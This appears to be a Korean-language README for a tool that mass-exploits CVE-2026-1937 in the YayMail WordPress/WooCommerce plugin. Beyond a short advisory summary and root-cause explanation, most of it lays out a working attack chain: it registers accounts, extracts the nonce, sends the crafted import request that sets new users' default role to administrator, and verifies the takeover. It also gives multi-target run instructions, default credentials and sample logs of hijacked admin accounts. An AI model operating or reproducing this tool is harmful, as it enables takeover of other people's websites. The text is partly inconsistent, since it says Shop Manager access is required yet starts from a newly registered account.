
YayMail <= 4.3.2 - 'yaymail_import_state' AJAX Action을 통한 인증된(Shop Manager+) 임의 옵션 업데이트에 대한 인증 누락
| 항목 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-1937 |
| 심각도 | 높음(HIGH) — CVSS v3.1 점수: 7.2 |
| 벡터 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 연구자 | Daniel Basta (whizzu) — NASK PIB |
| 공개 발표일 | 2026년 2월 17일 |
| 최종 업데이트일 | 2026년 3월 27일 |
| 영향받는 소프트웨어 | YayMail – WooCommerce Email Customizer Plugin for WordPress |
| 영향받는 버전 | 4.3.2 이하의 모든 버전 |
| 취약점 유형 | 권한 검증 누락 → 무단 임의 옵션 업데이트 → 권한 상승 |
| 인증 필요 | 예 — Shop Manager 이상 |
| CWE | CWE-862: Missing Authorization |
설명:
WordPress용 YayMail – WooCommerce Email Customizer 플러그인은 4.3.2 이하의 모든 버전에서 권한 상승으로 이어지는 무단 데이터 수정 취약점에 노출되어 있습니다. yaymail_import_state AJAX 액션은 서버 측 권한 검사 없이 등록되어 있어, Shop Manager 이상의 접근 권한을 가진 인증된 공격자가 이를 자유롭게 호출할 수 있습니다. 조작된 ZIP 가져오기 파일을 업로드하면 공격자는 WordPress 사이트의 임의 옵션을 은밀히 덮어쓸 수 있습니다 — 여기에는 신규 사용자의 기본 등록 역할을 administrator로 설정하고 공개 회원가입을 활성화하는 것이 포함됩니다. 이러한 옵션이 주입되면 어떤 방문자든 사이트에 직접 등록하여 완전한 WordPress Administrator 계정을 받게 되며, 그 결과 사이트가 완전히 장악됩니다.
취약한 버전의 YayMail 플러그인이 실행 중인 WordPress + WooCommerce 설치 환경을 대상으로 하는 개념 증명(PoC) 대량 익스플로잇 체인입니다. 이 도구는 WooCommerce 등록 → 로그인 → YayMail nonce 추출 → yaymail_import_state 익스플로잇 → 관리자 확인으로 이어지는 전체 엔드투엔드 공격을 구현합니다.
[Phase 1 — Registration]
GET /my-account/ → Extract WooCommerce register nonce
POST /my-account/ → Register new account (WooCommerce form)
→ Save credentials to reg.txt
↓
[Phase 2 — Login]
POST /wp-login.php → Try WordPress native login
POST /my-account/ (WooC.) → Fallback WooCommerce login
→ Establish authenticated session
↓
[Phase 3 — Admin Pre-check]
GET /wp-admin/ → If already admin, skip to result
↓
[Phase 4 — YayMail Exploit]
GET /wp-admin/admin.php?page=yaymail-settings
→ Extract: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_nonce>
import_file=yaymail_backup.zip
→ Override WordPress options:
· default_role = administrator
· users_can_register = 1
↓
[Phase 5 — Admin Verification]
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — 특수 제작된 가져오기 페이로드 (필수)pip install requests urllib3 rich
또는 requirements 파일을 통해 설치:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
이 도구는 Rich 기반의 완전 대화형 터미널 인터페이스를 사용합니다.
일반 텍스트 파일(기본값: list.txt)을 만드세요 — 한 줄에 대상 하나씩:
https://target1.com
https://target2.com
http://target3.com
target4.com
http://또는https://가 없는 대상에는https://가 자동으로 앞에 붙습니다.
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zip이 익스플로잇에는 가져올 때 다음 WordPress 옵션을 덮어쓰는 특수 제작된 YayMail 가져오기 ZIP 파일이 필요합니다:
| WordPress 옵션 | 주입 값 |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ 작업 디렉터리에
yaymail_backup.zip이 없으면 도구는 실행을 거부합니다.
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip (multipart upload)
근본 원인:
yaymail_import_state 핸들러는 가져오기를 처리하기 전에 current_user_can() 또는 이에 상응하는 권한 검사를 호출하지 않습니다. shop_manager 역할(또는 그 이상)을 가진 사용자는 누구든 이 액션을 자유롭게 호출하고 ZIP 가져오기 메커니즘을 통해 wp_options 테이블의 임의 항목을 덮어쓸 수 있습니다.
이 도구는 등록 및 로그인 양식을 위해 다음 경로를 자동으로 스캔합니다:
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| 파일 | 설명 |
|---|---|
reg.txt | 자격 증명이 포함된 모든 성공적인 WooCommerce 등록 기록 |
Nx_admin.txt | 확인된 모든 관리자 권한 상승 기록 |
reg.txt:
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import
╔══════════════════════════════════════════════════════════════════╗
║ WooCommerce · YayMail · Mass Exploit Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCAN] https://target.com
[REGISTERED] https://target.com :: user: Nx_admin pass: Nx_adminSA
[LOGIN-WP] https://target.com :: wp-login.php
[SEARCH-NONCE] https://target.com :: not admin, trying YayMail chain
[NONCE-FOUND] https://target.com :: nonce: a1b2c3d4e5
[EXPLOIT] https://target.com :: nonce: a1b2c3d4e5
[SUCCESS] https://target.com :: user: Nx_admin pass: Nx_adminSA
┌──────────────────────────────────────���───────────────────────────────────┐
│ Target │ Status │ Credentials / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ EXPLOITED (ADMIN VERIFIED) │ user: Nx_admin … │
│ https://target2.com │ NO-REGISTER │ │
│ https://target3.com │ DEAD │ │
└──────────────────────────────────────────────────────────────────────────┘